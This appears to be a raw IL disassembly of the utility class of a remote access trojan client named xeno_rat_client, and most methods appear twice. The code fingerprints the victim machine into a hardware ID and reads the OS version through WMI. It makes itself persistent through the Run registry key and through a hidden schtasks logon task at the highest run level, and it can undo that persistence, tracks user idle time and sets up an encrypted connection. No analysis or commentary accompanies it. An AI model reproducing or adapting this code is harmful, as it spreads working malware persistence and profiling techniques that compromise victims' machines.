00005e40ldloc.3
00005e41brfalse.s IL_0071
00005e43ldloc.3
00005e44callvirt Dispose
00005e49endfinally
00005e4aldloc.2
00005e4bcallvirt Dispose
00005e50leave.s IL_0084
00005e52ldloc.1
00005e53brfalse.s IL_0083
00005e55ldloc.1
00005e56callvirt Dispose
00005e5bendfinally
00005e5cldloc.0
00005e5dret
00005dd8
00005dd8xeno_rat_client.Utils::GetWindowsVersion:
00005dd8ldstr ""
00005dddstloc.0
00005ddeldstr "SELECT * FROM Win32_OperatingSystem"
00005de3newobj .ctor
00005de8stloc.1
00005de9ldloc.1
00005deacallvirt Get
00005defstloc.2
00005df0ldloc.2
00005df1brfalse.s IL_0078
00005df3ldloc.2
00005df4callvirt GetEnumerator
00005df9stloc.3
00005dfabr.s IL_005e
00005dfcldloc.3
00005dfdcallvirt get_Current
00005e02castclass System.Management.ManagementObject
00005e07stloc.s 4
00005e09ldloc.s 4
00005e0bldstr "Caption"
00005e10callvirt get_Item
00005e15callvirt ToString
00005e1aldstr " - "
00005e1fldloc.s 4
00005e21ldstr "OSArchitecture"
00005e26callvirt get_Item
00005e2bcallvirt ToString
00005e30call Concat
00005e35stloc.0
00005e36ldloc.3
00005e37callvirt MoveNext
00005e3cbrtrue.s IL_0024
00005e3eleave.s IL_0072
00005e40ldloc.3
00005e41brfalse.s IL_0071
00005e43ldloc.3
00005e44callvirt Dispose
00005e49endfinally
00005e4aldloc.2
00005e4bcallvirt Dispose
00005e50leave.s IL_0084
00005e52ldloc.1
00005e53brfalse.s IL_0083
00005e55ldloc.1
00005e56callvirt Dispose
00005e5bendfinally
00005e5cldloc.0
00005e5dret
00005dd8
00005e88
00005e88xeno_rat_client.Utils::HWID:
00005e88ldc.i4.5
00005e89newarr System.Object
00005e8edup
00005e8fldc.i4.0
00005e90call get_ProcessorCount
00005e95box System.Int32
00005e9astelem.ref
00005e9bdup
00005e9cldc.i4.1
00005e9dcall get_UserName
00005ea2stelem.ref
00005ea3dup
00005ea4ldc.i4.2
00005ea5call get_MachineName
00005eaastelem.ref
00005eabdup
00005eacldc.i4.3
00005eadcall get_OSVersion
00005eb2stelem.ref
00005eb3dup
00005eb4ldc.i4.4
00005eb5call get_SystemDirectory
00005ebacall GetPathRoot
00005ebfnewobj .ctor
00005ec4call get_TotalSize
00005ec9box System.Int64
00005ecestelem.ref
00005ecfcall Concat
00005ed4call GetHash
00005ed9stloc.0
00005edaleave.s IL_005d
00005edcpop
00005eddldstr "UNKNOWN"
00005ee2stloc.0
00005ee3leave.s IL_005d
00005ee5ldloc.0
00005ee6ret
00005e88
00005e88xeno_rat_client.Utils::HWID:
00005e88ldc.i4.5
00005e89newarr System.Object
00005e8edup
00005e8fldc.i4.0
00005e90call get_ProcessorCount
00005e95box System.Int32
00005e9astelem.ref
00005e9bdup
00005e9cldc.i4.1
00005e9dcall get_UserName
00005ea2stelem.ref
00005ea3dup
00005ea4ldc.i4.2
00005ea5call get_MachineName
00005eaastelem.ref
00005eabdup
00005eacldc.i4.3
00005eadcall get_OSVersion
00005eb2stelem.ref
00005eb3dup
00005eb4ldc.i4.4
00005eb5call get_SystemDirectory
00005ebacall GetPathRoot
00005ebfnewobj .ctor
00005ec4call get_TotalSize
00005ec9box System.Int64
00005ecestelem.ref
00005ecfcall Concat
00005ed4call GetHash
00005ed9stloc.0
00005edaleave.s IL_005d
00005edcpop
00005eddldstr "UNKNOWN"
00005ee2stloc.0
00005ee3leave.s IL_005d
00005ee5ldloc.0
00005ee6ret
00005e88
00005f04
00005f04xeno_rat_client.Utils::GetHash:
00005f04newobj .ctor
00005f09call get_ASCII
00005f0eldarg.0
00005f0fcallvirt GetBytes
00005f14stloc.0
00005f15ldloc.0
00005f16callvirt ComputeHash
00005f1bstloc.0
00005f1cnewobj .ctor
00005f21stloc.1
00005f22ldloc.0
00005f23stloc.2
00005f24ldc.i4.0
00005f25stloc.3
00005f26br.s IL_0040
00005f28ldloc.2
00005f29ldloc.3
00005f2aldelem.u1
00005f2bstloc.s 4
00005f2dldloc.1
00005f2eldloca.s 4
00005f30ldstr "x2"
00005f35call ToString
00005f3acallvirt Append
00005f3fpop
00005f40ldloc.3
00005f41ldc.i4.1
00005f42add
00005f43stloc.3
00005f44ldloc.3
00005f45ldloc.2
00005f46ldlen
00005f47conv.i4
00005f48blt.s IL_0024
00005f4aldloc.1
00005f4bcallvirt ToString
00005f50ldc.i4.0
00005f51ldc.i4.s 20
00005f53callvirt Substring
00005f58callvirt ToUpper
00005f5dret
00005f04
00005f04xeno_rat_client.Utils::GetHash:
00005f04newobj .ctor
00005f09call get_ASCII
00005f0eldarg.0
00005f0fcallvirt GetBytes
00005f14stloc.0
00005f15ldloc.0
00005f16callvirt ComputeHash
00005f1bstloc.0
00005f1cnewobj .ctor
00005f21stloc.1
00005f22ldloc.0
00005f23stloc.2
00005f24ldc.i4.0
00005f25stloc.3
00005f26br.s IL_0040
00005f28ldloc.2
00005f29ldloc.3
00005f2aldelem.u1
00005f2bstloc.s 4
00005f2dldloc.1
00005f2eldloca.s 4
00005f30ldstr "x2"
00005f35call ToString
00005f3acallvirt Append
00005f3fpop
00005f40ldloc.3
00005f41ldc.i4.1
00005f42add
00005f43stloc.3
00005f44ldloc.3
00005f45ldloc.2
00005f46ldlen
00005f47conv.i4
00005f48blt.s IL_0024
00005f4aldloc.1
00005f4bcallvirt ToString
00005f50ldc.i4.0
00005f51ldc.i4.s 20
00005f53callvirt Substring
00005f58callvirt ToUpper
00005f5dret
00005f04
00005f6c
00005f6cxeno_rat_client.Utils::ConnectAndSetupAsync:
00005f6cldloca.s 0
00005f6ecall Create
00005f73stfld <>t__builder
00005f78ldloca.s 0
00005f7aldarg.0
00005f7bstfld sock
00005f80ldloca.s 0
00005f82ldarg.1
00005f83stfld key
00005f88ldloca.s 0
00005f8aldarg.2
00005f8bstfld type
00005f90ldloca.s 0
00005f92ldarg.3
00005f93stfld ID
00005f98ldloca.s 0
00005f9aldarg.s 4
00005f9cstfld OnDisconnect
00005fa1ldloca.s 0
00005fa3ldc.i4.m1
00005fa4stfld <>1__state
00005fa9ldloca.s 0
00005fabldflda <>t__builder
00005fb0ldloca.s 0
00005fb2call 0x2B00003E
00005fb7ldloca.s 0
00005fb9ldflda <>t__builder
00005fbecall get_Task
00005fc3ret
00005f6c
00005f6cxeno_rat_client.Utils::ConnectAndSetupAsync:
00005f6cldloca.s 0
00005f6ecall Create
00005f73stfld <>t__builder
00005f78ldloca.s 0
00005f7aldarg.0
00005f7bstfld sock
00005f80ldloca.s 0
00005f82ldarg.1
00005f83stfld key
00005f88ldloca.s 0
00005f8aldarg.2
00005f8bstfld type
00005f90ldloca.s 0
00005f92ldarg.3
00005f93stfld ID
00005f98ldloca.s 0
00005f9aldarg.s 4
00005f9cstfld OnDisconnect
00005fa1ldloca.s 0
00005fa3ldc.i4.m1
00005fa4stfld <>1__state
00005fa9ldloca.s 0
00005fabldflda <>t__builder
00005fb0ldloca.s 0
00005fb2call 0x2B00003E
00005fb7ldloca.s 0
00005fb9ldflda <>t__builder
00005fbecall get_Task
00005fc3ret
00005f6c
00005fd0
00005fd0xeno_rat_client.Utils::RemoveStartup:
00005fd0ldloca.s 0
00005fd2call Create
00005fd7stfld <>t__builder
00005fdcldloca.s 0
00005fdeldarg.0
00005fdfstfld executablePath
00005fe4ldloca.s 0
00005fe6ldc.i4.m1
00005fe7stfld <>1__state
00005fecldloca.s 0
00005feeldflda <>t__builder
00005ff3ldloca.s 0
00005ff5call 0x2B00003F
00005ffaldloca.s 0
00005ffcldflda <>t__builder
00006001call get_Task
00006006ret
00005fd0
00005fd0xeno_rat_client.Utils::RemoveStartup:
00005fd0ldloca.s 0
00005fd2call Create
00005fd7stfld <>t__builder
00005fdcldloca.s 0
00005fdeldarg.0
00005fdfstfld executablePath
00005fe4ldloca.s 0
00005fe6ldc.i4.m1
00005fe7stfld <>1__state
00005fecldloca.s 0
00005feeldflda <>t__builder
00005ff3ldloca.s 0
00005ff5call 0x2B00003F
00005ffaldloca.s 0
00005ffcldflda <>t__builder
00006001call get_Task
00006006ret
00005fd0
00006014
00006014xeno_rat_client.Utils::Uninstall:
00006014ldloca.s 0
00006016call Create
0000601bstfld <>t__builder
00006020ldloca.s 0
00006022ldc.i4.m1
00006023stfld <>1__state
00006028ldloca.s 0
0000602aldflda <>t__builder
0000602fldloca.s 0
00006031call 0x2B000040
00006036ldloca.s 0
00006038ldflda <>t__builder
0000603dcall get_Task
00006042ret
00006014
00006014xeno_rat_client.Utils::Uninstall:
00006014ldloca.s 0
00006016call Create
0000601bstfld <>t__builder
00006020ldloca.s 0
00006022ldc.i4.m1
00006023stfld <>1__state
00006028ldloca.s 0
0000602aldflda <>t__builder
0000602fldloca.s 0
00006031call 0x2B000040
00006036ldloca.s 0
00006038ldflda <>t__builder
0000603dcall get_Task
00006042ret
00006014
00006050
00006050xeno_rat_client.Utils::AddToStartupNonAdmin:
00006050ldloca.s 0
00006052call Create
00006057stfld <>t__builder
0000605cldloca.s 0
0000605eldarg.0
0000605fstfld executablePath
00006064ldloca.s 0
00006066ldarg.1
00006067stfld name
0000606cldloca.s 0
0000606eldc.i4.m1
0000606fstfld <>1__state
00006074ldloca.s 0
00006076ldflda <>t__builder
0000607bldloca.s 0
0000607dcall 0x2B000041
00006082ldloca.s 0
00006084ldflda <>t__builder
00006089call get_Task
0000608eret
00006050
00006050xeno_rat_client.Utils::AddToStartupNonAdmin:
00006050ldloca.s 0
00006052call Create
00006057stfld <>t__builder
0000605cldloca.s 0
0000605eldarg.0
0000605fstfld executablePath
00006064ldloca.s 0
00006066ldarg.1
00006067stfld name
0000606cldloca.s 0
0000606eldc.i4.m1
0000606fstfld <>1__state
00006074ldloca.s 0
00006076ldflda <>t__builder
0000607bldloca.s 0
0000607dcall 0x2B000041
00006082ldloca.s 0
00006084ldflda <>t__builder
00006089call get_Task
0000608eret
00006050
0000609c
0000609cxeno_rat_client.Utils::AddToStartupAdmin:
0000609cldloca.s 0
0000609ecall Create
000060a3stfld <>t__builder
000060a8ldloca.s 0
000060aaldarg.0
000060abstfld executablePath
000060b0ldloca.s 0
000060b2ldarg.1
000060b3stfld name
000060b8ldloca.s 0
000060baldc.i4.m1
000060bbstfld <>1__state
000060c0ldloca.s 0
000060c2ldflda <>t__builder
000060c7ldloca.s 0
000060c9call 0x2B000042
000060celdloca.s 0
000060d0ldflda <>t__builder
000060d5call get_Task
000060daret
0000609c
0000609cxeno_rat_client.Utils::AddToStartupAdmin:
0000609cldloca.s 0
0000609ecall Create
000060a3stfld <>t__builder
000060a8ldloca.s 0
000060aaldarg.0
000060abstfld executablePath
000060b0ldloca.s 0
000060b2ldarg.1
000060b3stfld name
000060b8ldloca.s 0
000060baldc.i4.m1
000060bbstfld <>1__state
000060c0ldloca.s 0
000060c2ldflda <>t__builder
000060c7ldloca.s 0
000060c9call 0x2B000042
000060celdloca.s 0
000060d0ldflda <>t__builder
000060d5call get_Task
000060daret
0000609c
000060e8
000060e8xeno_rat_client.Utils::GetIdleTimeAsync:
000060e8ldloca.s 0
000060eacall Create
000060efstfld <>t__builder
000060f4ldloca.s 0
000060f6ldc.i4.m1
000060f7stfld <>1__state
000060fcldloca.s 0
000060feldflda <>t__builder
00006103ldloca.s 0
00006105call 0x2B000043
0000610aldloca.s 0
0000610cldflda <>t__builder
00006111call get_Task
00006116ret
000060e8
000060e8xeno_rat_client.Utils::GetIdleTimeAsync:
000060e8ldloca.s 0
000060eacall Create
000060efstfld <>t__builder
000060f4ldloca.s 0
000060f6ldc.i4.m1
000060f7stfld <>1__state
000060fcldloca.s 0
000060feldflda <>t__builder
00006103ldloca.s 0
00006105call 0x2B000043
0000610aldloca.s 0
0000610cldflda <>t__builder
00006111call get_Task
00006116ret
000060e8
00006124
00006124xeno_rat_client.Utils::GetIdleTime:
00006124ldloca.s 0
00006126initobj LASTINPUTINFO
0000612cldloca.s 0
0000612eldloc.0
0000612fcall 0x2B000044
00006134stfld cbSize
00006139ldloca.s 0
0000613bcall GetLastInputInfo
00006140pop
00006141call get_TickCount
00006146ldloc.0
00006147ldfld dwTime
0000614csub
0000614dret
00006124
00006124xeno_rat_client.Utils::GetIdleTime:
00006124ldloca.s 0
00006126initobj LASTINPUTINFO
0000612cldloca.s 0
0000612eldloc.0
0000612fcall 0x2B000044
00006134stfld cbSize
00006139ldloca.s 0
0000613bcall GetLastInputInfo
00006140pop
00006141call get_TickCount
00006146ldloc.0
00006147ldfld dwTime
0000614csub
0000614dret
00006124
0000615c
0000615c<>c__DisplayClass16_0::<RemoveStartup>b__0:
0000615ccall IsAdmin
00006161brfalse IL_01d8
00006166newobj .ctor
0000616bstloc.1
0000616cldloc.1
0000616dcallvirt get_StartInfo
00006172ldstr "schtasks.exe"
00006177callvirt set_FileName
0000617cldloc.1
0000617dcallvirt get_StartInfo
00006182ldstr "/query /v /fo csv"
00006187callvirt set_Arguments
0000618cldloc.1
0000618dcallvirt get_StartInfo
00006192ldc.i4.0
00006193callvirt set_UseShellExecute
00006198ldloc.1
00006199callvirt get_StartInfo
0000619eldc.i4.1
0000619fcallvirt set_RedirectStandardOutput
000061a4ldloc.1
000061a5callvirt get_StartInfo
000061aaldc.i4.1
000061abcallvirt set_CreateNoWindow
000061b0ldloc.1
000061b1callvirt Start
000061b6pop
000061b7ldloc.1
000061b8callvirt get_StandardOutput
000061bdcallvirt ReadToEnd
000061c2stloc.2
000061c3ldloc.1
000061c4callvirt WaitForExit
000061c9leave.s IL_0072
000061cbpop
000061ccleave.s IL_0072
000061celdloc.1
000061cfcallvirt Dispose
000061d4ldloc.2
000061d5ldc.i4.1
000061d6newarr System.Char
000061dbdup
000061dcldc.i4.0
000061ddldc.i4.s 10
000061dfstelem.i2
000061e0callvirt Split
000061e5stloc.3
000061e6ldloc.3
000061e7ldlen
000061e8conv.i4
000061e9ldc.i4.1
000061eable IL_01d3
000061efldloc.3
000061f0ldc.i4.0
000061f1ldelem.ref
000061f2ldstr "\""
000061f7ldstr ""
000061fccallvirt Replace
00006201ldc.i4.1
00006202newarr System.Char
00006207dup
00006208ldc.i4.0
00006209ldc.i4.s 44
0000620bstelem.i2
0000620ccallvirt Split
00006211call 0x2B000045
00006216stloc.s 4
00006218ldloc.s 4
0000621aldstr "TaskName"
0000621fcallvirt IndexOf
00006224stloc.s 5
00006226ldloc.s 4
00006228ldstr "Task To Run"
0000622dcallvirt IndexOf
00006232stloc.s 6
00006234ldloc.3
00006235stloc.s 7
00006237ldc.i4.0
00006238stloc.s 8
0000623abr IL_01c8
0000623fldloc.s 7
00006241ldloc.s 8
00006243ldelem.ref
00006244ldc.i4.1
00006245newarr System.String
0000624adup
0000624bldc.i4.0
0000624cldstr "\",\""
00006251stelem.ref
00006252ldc.i4.0
00006253callvirt Split
00006258stloc.s 9
0000625aldloc.s 4
0000625ccallvirt get_Count
00006261ldloc.s 9
00006263ldlen
00006264conv.i4
00006265bne.un IL_01c2
0000626aldloc.s 5
0000626cldc.i4.m1
0000626dbeq IL_01c2
00006272ldloc.s 6
00006274ldc.i4.m1
00006275beq IL_01c2
0000627aldloc.s 9
0000627cldloc.s 6
0000627eldelem.ref
0000627fldstr "\""
00006284ldstr ""
00006289callvirt Replace
0000628ecallvirt Trim
00006293ldarg.0
00006294ldfld executablePath
00006299call op_Equality
0000629ebrfalse.s IL_01c2
000062a0newobj .ctor
000062a5stloc.s 10
000062a7ldloc.s 10
000062a9callvirt get_StartInfo
000062aeldstr "schtasks.exe"
000062b3callvirt set_FileName
000062b8ldloc.s 10
000062bacallvirt get_StartInfo
000062bfldstr "/delete /tn \""
000062c4ldloc.s 9
000062c6ldloc.s 5
000062c8ldelem.ref
000062c9ldstr "\" /f"
000062cecall Concat
000062d3callvirt set_Arguments
000062d8ldloc.s 10
000062dacallvirt get_StartInfo
000062dfldc.i4.0
000062e0callvirt set_UseShellExecute
000062e5ldloc.s 10
000062e7callvirt get_StartInfo
000062ecldc.i4.1
000062edcallvirt set_RedirectStandardOutput
000062f2ldloc.s 10
000062f4callvirt get_StartInfo
000062f9ldc.i4.1
000062facallvirt set_CreateNoWindow
000062ffldloc.s 10
00006301callvirt Start
00006306pop
00006307ldloc.s 10
00006309callvirt WaitForExit
0000630eleave.s IL_01b7
00006310pop
00006311leave.s IL_01b7
00006313ldloc.1
00006314callvirt Dispose
00006319leave.s IL_01c2
0000631bpop
0000631cleave.s IL_01c2
0000631eldloc.s 8
00006320ldc.i4.1
00006321add
00006322stloc.s 8
00006324ldloc.s 8
00006326ldloc.s 7
00006328ldlen
00006329conv.i4
0000632ablt IL_00e3
0000632fleave.s IL_01d8
00006331pop
00006332leave.s IL_01d8
00006334ldstr "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"
00006339stloc.0
0000633aldc.i4 -2147483647
0000633fldc.i4 256
00006344call OpenBaseKey
00006349ldloc.0
0000634aldc.i4.1
0000634bcallvirt OpenSubKey
00006350stloc.s 11
00006352ldloc.s 11
00006354callvirt GetValueNames
00006359stloc.s 7
0000635bldc.i4.0
0000635cstloc.s 8
0000635ebr.s IL_0249
00006360ldloc.s 7
00006362ldloc.s 8
00006364ldelem.ref
00006365stloc.s 12
00006367ldloc.s 11
00006369ldloc.s 12
0000636bcallvirt GetValue
00006370callvirt ToString
00006375ldstr "\""
0000637aldstr ""
0000637fcallvirt Replace
00006384callvirt Trim
00006389ldarg.0
0000638aldfld executablePath
0000638fcall op_Equality
00006394brfalse.s IL_0243
00006396ldloc.s 11
00006398ldloc.s 12
0000639acallvirt DeleteValue
0000639fldloc.s 8
000063a1ldc.i4.1
000063a2add
000063a3stloc.s 8
000063a5ldloc.s 8
000063a7ldloc.s 7
000063a9ldlen
000063aaconv.i4
000063abblt.s IL_0204
000063adleave.s IL_025f
000063afldloc.s 11
000063b1brfalse.s IL_025e
000063b3ldloc.s 11
000063b5callvirt Dispose
000063baendfinally
000063bbleave.s IL_0264
000063bdpop
000063beleave.s IL_0264
000063c0ret
0000615c
0000615c<>c__DisplayClass16_0::<RemoveStartup>b__0:
0000615ccall IsAdmin
00006161brfalse IL_01d8
00006166newobj .ctor
0000616bstloc.1
0000616cldloc.1
0000616dcallvirt get_StartInfo
00006172ldstr "schtasks.exe"
00006177callvirt set_FileName
0000617cldloc.1
0000617dcallvirt get_StartInfo
00006182ldstr "/query /v /fo csv"
00006187callvirt set_Arguments
0000618cldloc.1
0000618dcallvirt get_StartInfo
00006192ldc.i4.0
00006193callvirt set_UseShellExecute
00006198ldloc.1
00006199callvirt get_StartInfo
0000619eldc.i4.1
0000619fcallvirt set_RedirectStandardOutput
000061a4ldloc.1
000061a5callvirt get_StartInfo
000061aaldc.i4.1
000061abcallvirt set_CreateNoWindow
000061b0ldloc.1
000061b1callvirt Start
000061b6pop
000061b7ldloc.1
000061b8callvirt get_StandardOutput
000061bdcallvirt ReadToEnd
000061c2stloc.2
000061c3ldloc.1
000061c4callvirt WaitForExit
000061c9leave.s IL_0072
000061cbpop
000061ccleave.s IL_0072
000061celdloc.1
000061cfcallvirt Dispose
000061d4ldloc.2
000061d5ldc.i4.1
000061d6newarr System.Char
000061dbdup
000061dcldc.i4.0
000061ddldc.i4.s 10
000061dfstelem.i2
000061e0callvirt Split
000061e5stloc.3
000061e6ldloc.3
000061e7ldlen
000061e8conv.i4
000061e9ldc.i4.1
000061eable IL_01d3
000061efldloc.3
000061f0ldc.i4.0
000061f1ldelem.ref
000061f2ldstr "\""
000061f7ldstr ""
000061fccallvirt Replace
00006201ldc.i4.1
00006202newarr System.Char
00006207dup
00006208ldc.i4.0
00006209ldc.i4.s 44
0000620bstelem.i2
0000620ccallvirt Split
00006211call 0x2B000045
00006216stloc.s 4
00006218ldloc.s 4
0000621aldstr "TaskName"
0000621fcallvirt IndexOf
00006224stloc.s 5
00006226ldloc.s 4
00006228ldstr "Task To Run"
0000622dcallvirt IndexOf
00006232stloc.s 6
00006234ldloc.3
00006235stloc.s 7
00006237ldc.i4.0
00006238stloc.s 8
0000623abr IL_01c8
0000623fldloc.s 7
00006241ldloc.s 8
00006243ldelem.ref
00006244ldc.i4.1
00006245newarr System.String
0000624adup
0000624bldc.i4.0
0000624cldstr "\",\""
00006251stelem.ref
00006252ldc.i4.0
00006253callvirt Split
00006258stloc.s 9
0000625aldloc.s 4
0000625ccallvirt get_Count
00006261ldloc.s 9
00006263ldlen
00006264conv.i4
00006265bne.un IL_01c2
0000626aldloc.s 5
0000626cldc.i4.m1
0000626dbeq IL_01c2
00006272ldloc.s 6
00006274ldc.i4.m1
00006275beq IL_01c2
0000627aldloc.s 9
0000627cldloc.s 6
0000627eldelem.ref
0000627fldstr "\""
00006284ldstr ""
00006289callvirt Replace
0000628ecallvirt Trim
00006293ldarg.0
00006294ldfld executablePath
00006299call op_Equality
0000629ebrfalse.s IL_01c2
000062a0newobj .ctor
000062a5stloc.s 10
000062a7ldloc.s 10
000062a9callvirt get_StartInfo
000062aeldstr "schtasks.exe"
000062b3callvirt set_FileName
000062b8ldloc.s 10
000062bacallvirt get_StartInfo
000062bfldstr "/delete /tn \""
000062c4ldloc.s 9
000062c6ldloc.s 5
000062c8ldelem.ref
000062c9ldstr "\" /f"
000062cecall Concat
000062d3callvirt set_Arguments
000062d8ldloc.s 10
000062dacallvirt get_StartInfo
000062dfldc.i4.0
000062e0callvirt set_UseShellExecute
000062e5ldloc.s 10
000062e7callvirt get_StartInfo
000062ecldc.i4.1
000062edcallvirt set_RedirectStandardOutput
000062f2ldloc.s 10
000062f4callvirt get_StartInfo
000062f9ldc.i4.1
000062facallvirt set_CreateNoWindow
000062ffldloc.s 10
00006301callvirt Start
00006306pop
00006307ldloc.s 10
00006309callvirt WaitForExit
0000630eleave.s IL_01b7
00006310pop
00006311leave.s IL_01b7
00006313ldloc.1
00006314callvirt Dispose
00006319leave.s IL_01c2
0000631bpop
0000631cleave.s IL_01c2
0000631eldloc.s 8
00006320ldc.i4.1
00006321add
00006322stloc.s 8
00006324ldloc.s 8
00006326ldloc.s 7
00006328ldlen
00006329conv.i4
0000632ablt IL_00e3
0000632fleave.s IL_01d8
00006331pop
00006332leave.s IL_01d8
00006334ldstr "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"
00006339stloc.0
0000633aldc.i4 -2147483647
0000633fldc.i4 256
00006344call OpenBaseKey
00006349ldloc.0
0000634aldc.i4.1
0000634bcallvirt OpenSubKey
00006350stloc.s 11
00006352ldloc.s 11
00006354callvirt GetValueNames
00006359stloc.s 7
0000635bldc.i4.0
0000635cstloc.s 8
0000635ebr.s IL_0249
00006360ldloc.s 7
00006362ldloc.s 8
00006364ldelem.ref
00006365stloc.s 12
00006367ldloc.s 11
00006369ldloc.s 12
0000636bcallvirt GetValue
00006370callvirt ToString
00006375ldstr "\""
0000637aldstr ""
0000637fcallvirt Replace
00006384callvirt Trim
00006389ldarg.0
0000638aldfld executablePath
0000638fcall op_Equality
00006394brfalse.s IL_0243
00006396ldloc.s 11
00006398ldloc.s 12
0000639acallvirt DeleteValue
0000639fldloc.s 8
000063a1ldc.i4.1
000063a2add
000063a3stloc.s 8
000063a5ldloc.s 8
000063a7ldloc.s 7
000063a9ldlen
000063aaconv.i4
000063abblt.s IL_0204
000063adleave.s IL_025f
000063afldloc.s 11
000063b1brfalse.s IL_025e
000063b3ldloc.s 11
000063b5callvirt Dispose
000063baendfinally
000063bbleave.s IL_0264
000063bdpop
000063beleave.s IL_0264
000063c0ret
0000615c
00006464
00006464<>c__DisplayClass18_0::<AddToStartupNonAdmin>b__0:
00006464ldstr "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"
00006469stloc.0
0000646aldc.i4 -2147483647
0000646fldc.i4 256
00006474call OpenBaseKey
00006479ldloc.0
0000647aldc.i4.1
0000647bcallvirt OpenSubKey
00006480stloc.1
00006481ldloc.1
00006482ldarg.0
00006483ldfld name
00006488ldstr "\""
0000648dldarg.0
0000648eldfld executablePath
00006493ldstr "\""
00006498call Concat
0000649dcallvirt SetValue
000064a2leave.s IL_004a
000064a4ldloc.1
000064a5brfalse.s IL_0049
000064a7ldloc.1
000064a8callvirt Dispose
000064adendfinally
000064aeldc.i4.1
000064afstloc.2
000064b0leave.s IL_0053
000064b2pop
000064b3ldc.i4.0
000064b4stloc.2
000064b5leave.s IL_0053
000064b7ldloc.2
000064b8ret
00006464
00006464<>c__DisplayClass18_0::<AddToStartupNonAdmin>b__0:
00006464ldstr "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"
00006469stloc.0
0000646aldc.i4 -2147483647
0000646fldc.i4 256
00006474call OpenBaseKey
00006479ldloc.0
0000647aldc.i4.1
0000647bcallvirt OpenSubKey
00006480stloc.1
00006481ldloc.1
00006482ldarg.0
00006483ldfld name
00006488ldstr "\""
0000648dldarg.0
0000648eldfld executablePath
00006493ldstr "\""
00006498call Concat
0000649dcallvirt SetValue
000064a2leave.s IL_004a
000064a4ldloc.1
000064a5brfalse.s IL_0049
000064a7ldloc.1
000064a8callvirt Dispose
000064adendfinally
000064aeldc.i4.1
000064afstloc.2
000064b0leave.s IL_0053
000064b2pop
000064b3ldc.i4.0
000064b4stloc.2
000064b5leave.s IL_0053
000064b7ldloc.2
000064b8ret
00006464
000064e4
000064e4<AddToStartupAdmin>d__19::MoveNext:
000064e4ldarg.0
000064e5ldfld <>1__state
000064eastloc.0
000064ebldloc.0
000064ecpop
000064ednop
000064eeldloc.0
000064efbrfalse IL_011d
000064f4ldstr "\r\n <Task xmlns='http://schemas.microsoft.com/windows/2004/02/mit/task'>\r\n <Triggers>\r\n <LogonTrigger>\r\n <Enabled>true</Enabled>\r\n </LogonTrigger>\r\n </Triggers>\r\n <Principals>\r\n <Principal id='Author'>\r\n <LogonType>InteractiveToken</LogonType>\r\n <RunLevel>HighestAvailable</RunLevel>\r\n </Principal>\r\n </Principals>\r\n <Settings>\r\n <ExecutionTimeLimit>PT0S</ExecutionTimeLimit>\r\n <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>\r\n <MultipleInstancesPolicy>Parallel</MultipleInstancesPolicy>\r\n </Settings>\r\n <Actions>\r\n <Exec>\r\n <Command>"
000064f9ldarg.0
000064faldfld executablePath
000064ffldstr "</Command>\r\n </Exec>\r\n </Actions>\r\n </Task>"
00006504call Concat
00006509stloc.2
0000650aldarg.0
0000650bcall GetTempFileName
00006510stfld <tempXmlFile>5__2
00006515ldarg.0
00006516ldfld <tempXmlFile>5__2
0000651bldloc.2
0000651ccall WriteAllText
00006521ldarg.0
00006522newobj .ctor
00006527stfld <process>5__3
0000652cldarg.0
0000652dldfld <process>5__3
00006532callvirt get_StartInfo
00006537ldstr "schtasks.exe"
0000653ccallvirt set_FileName
00006541ldarg.0
00006542ldfld <process>5__3
00006547callvirt get_StartInfo
0000654cldc.i4.5
0000654dnewarr System.String
00006552dup
00006553ldc.i4.0
00006554ldstr "/Create /TN \""
00006559stelem.ref
0000655adup
0000655bldc.i4.1
0000655cldarg.0
0000655dldfld name
00006562stelem.ref
00006563dup
00006564ldc.i4.2
00006565ldstr "\" /XML \""
0000656astelem.ref
0000656bdup
0000656cldc.i4.3
0000656dldarg.0
0000656eldfld <tempXmlFile>5__2
00006573stelem.ref
00006574dup
00006575ldc.i4.4
00006576ldstr "\" /F"
0000657bstelem.ref
0000657ccall Concat
00006581callvirt set_Arguments
00006586ldarg.0
00006587ldfld <process>5__3
0000658ccallvirt get_StartInfo
00006591ldc.i4.0
00006592callvirt set_UseShellExecute
00006597ldarg.0
00006598ldfld <process>5__3
0000659dcallvirt get_StartInfo
000065a2ldc.i4.1
000065a3callvirt set_RedirectStandardOutput
000065a8ldarg.0
000065a9ldfld <process>5__3
000065aecallvirt get_StartInfo
000065b3ldc.i4.1
000065b4callvirt set_CreateNoWindow
000065b9ldarg.0
000065baldfld <process>5__3
000065bfcallvirt Start
000065c4pop
000065c5ldc.i4 3000
000065cacall Delay
000065cfcallvirt GetAwaiter
000065d4stloc.3
000065d5ldloca.s 3
000065d7call get_IsCompleted
000065dcbrtrue.s IL_0139
000065deldarg.0
000065dfldc.i4.0
000065e0dup
000065e1stloc.0
000065e2stfld <>1__state
000065e7ldarg.0
000065e8ldloc.3
000065e9stfld <>u__1
000065eeldarg.0
000065efldflda <>t__builder
000065f4ldloca.s 3
000065f6ldarg.0
000065f7call 0x2B000046
000065fcleave IL_01af
00006601ldarg.0
00006602ldfld <>u__1
00006607stloc.3
00006608ldarg.0
00006609ldflda <>u__1
0000660einitobj System.Runtime.CompilerServices.TaskAwaiter
00006614ldarg.0
00006615ldc.i4.m1
00006616dup
00006617stloc.0
00006618stfld <>1__state
0000661dldloca.s 3
0000661fcall GetResult
00006624ldarg.0
00006625ldfld <process>5__3
0000662acallvirt get_StandardOutput
0000662fcallvirt ReadToEnd
00006634ldarg.0
00006635ldfld <tempXmlFile>5__2
0000663acall Delete
0000663fldstr "SUCCESS"
00006644callvirt Contains
00006649brfalse.s IL_016b
0000664bldc.i4.1
0000664cstloc.1
0000664dleave.s IL_019b
0000664fldarg.0
00006650ldnull
00006651stfld <tempXmlFile>5__2
00006656ldarg.0
00006657ldnull
00006658stfld <process>5__3
0000665dleave.s IL_017e
0000665fpop
00006660leave.s IL_017e
00006662ldc.i4.0
00006663stloc.1
00006664leave.s IL_019b
00006666stloc.s 4
00006668ldarg.0
00006669ldc.i4.s -2
0000666bstfld <>1__state
00006670ldarg.0
00006671ldflda <>t__builder
00006676ldloc.s 4
00006678call SetException
0000667dleave.s IL_01af
0000667fldarg.0
00006680ldc.i4.s -2
00006682stfld <>1__state
00006687ldarg.0
00006688ldflda <>t__builder
0000668dldloc.1
0000668ecall SetResult
00006693ret
000064e4
